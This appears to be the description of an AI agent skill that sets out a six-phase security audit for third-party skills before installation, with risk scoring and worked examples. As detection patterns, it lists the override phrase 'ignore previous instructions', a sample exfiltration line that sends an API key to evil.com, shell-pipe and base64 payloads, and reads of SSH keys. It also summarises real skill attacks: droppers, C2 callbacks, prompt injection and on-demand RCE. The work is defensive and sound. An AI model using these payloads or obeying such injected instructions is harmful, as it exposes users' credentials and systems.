Audit Skills for Security Risks

This skill provides a structured 6-phase security review to run before installing any third-party skill, motivated by research finding 7.5% of 14,706 audited OpenClaw skills confirmed malicious (RankClaw found 1,103 malicious skills doing brand-jacking, prompt injection, and RCE; Vett.sh found 59 critical-risk droppers disguised as legitimate tools; Cisco, CrowdStrike, and NCC Group have all published skill supply-chain attack reports). The six phases: Surface Scan (pattern detection in SKILL.md for instruction overrides like "ignore previous instructions", external fetches to unknown domains, shell pipes, encoded/base64 payloads, and credential reads combined with network calls); Script Inspection (reading every referenced script for hidden commands, obfuscation, and unverified external URLs); Permission Audit (checking whether file/network/execution access matches the skill's claimed purpose); Social Engineering Check (urgency language, authority claims, hidden instructions in comments); Repo Intelligence (author/repo credibility - account age, other repos, organic vs. bot-farmed star history); and a final Verdict combining these into a 0-100 risk score with a recommendation (0-39 low risk/generally safe, 40-69 medium risk/use with caution, 70-100 high risk/do not install).

Use this skill when about to install a third-party skill from GitHub, ClawHub, or any registry, when you want to verify a skill's security before adding it to an agent, when a user says "install this skill"/"add this skill", or when reviewing skills for potential security issues. It is a review framework, not a sandbox or malware scanner - it can miss novel obfuscation, private payloads, or risks outside the available repository contents, so always combine its findings with maintainer judgment, pinned dependencies, least-privilege runtime controls, and environment-specific validation.

Two worked examples show the output shape: a suspicious skill scores 92/100 (critical) after surface-scan hits for a download-pipe-shell pattern, a ~/.env reference, and an unknown-domain fetch, plus a script containing a base64 payload and an HTTP POST to a private IP, and excessive permissions (claims to "format code" but reads ~/.ssh/id_rsa) - recommendation: do not install. A trusted skill scores 12/100 (low risk) with no critical patterns, no referenced scripts, minimal project-scoped permissions, and a 2+ year active trusted author - recommendation: safe to install.

Critical patterns that block installation: instruction override, external data exfiltration (e.g. fetch('http://evil.com?token=' + env.API_KEY)), shell-pipe execution, encoded payloads (atob(...)), credential reads paired with network calls, and self-replication instructions ("install in all repos"). High-risk patterns warranting investigation: role manipulation, hidden instructions in comments, undocumented scripts, overly broad permissions, domain ambiguity, and unpinned dependencies. Documented real attack examples include a base64 dropper disguised as an "Excel Import Helper" decoding to a C2 callback, a "React Native Best Practices" skill with a download-pipe-shell install command pointing at a domain the author doesn't own, brand-impersonating package names (clawhub1, clawbhub) shipping a binary to a raw IP, a social-engineering pitch about mining a fake cryptocurrency, and on-demand RCE where a server sends malicious code only at evaluation time. Guiding philosophy: zero trust (all third-party skills are hostile until proven safe), fail closed (uncertainty means recommend against), progressive disclosure (start shallow, go deeper as risk increases), and defense in depth (pair with runtime guards). Adapted from aptratcn/skill-audit (MIT licensed).

Anyone installing third-party agent skills from GitHub or a skill registry who needs a structured, repeatable security review before granting a new skill file, network, or credential access - not a substitute for sandboxing or a dedicated malware scanner.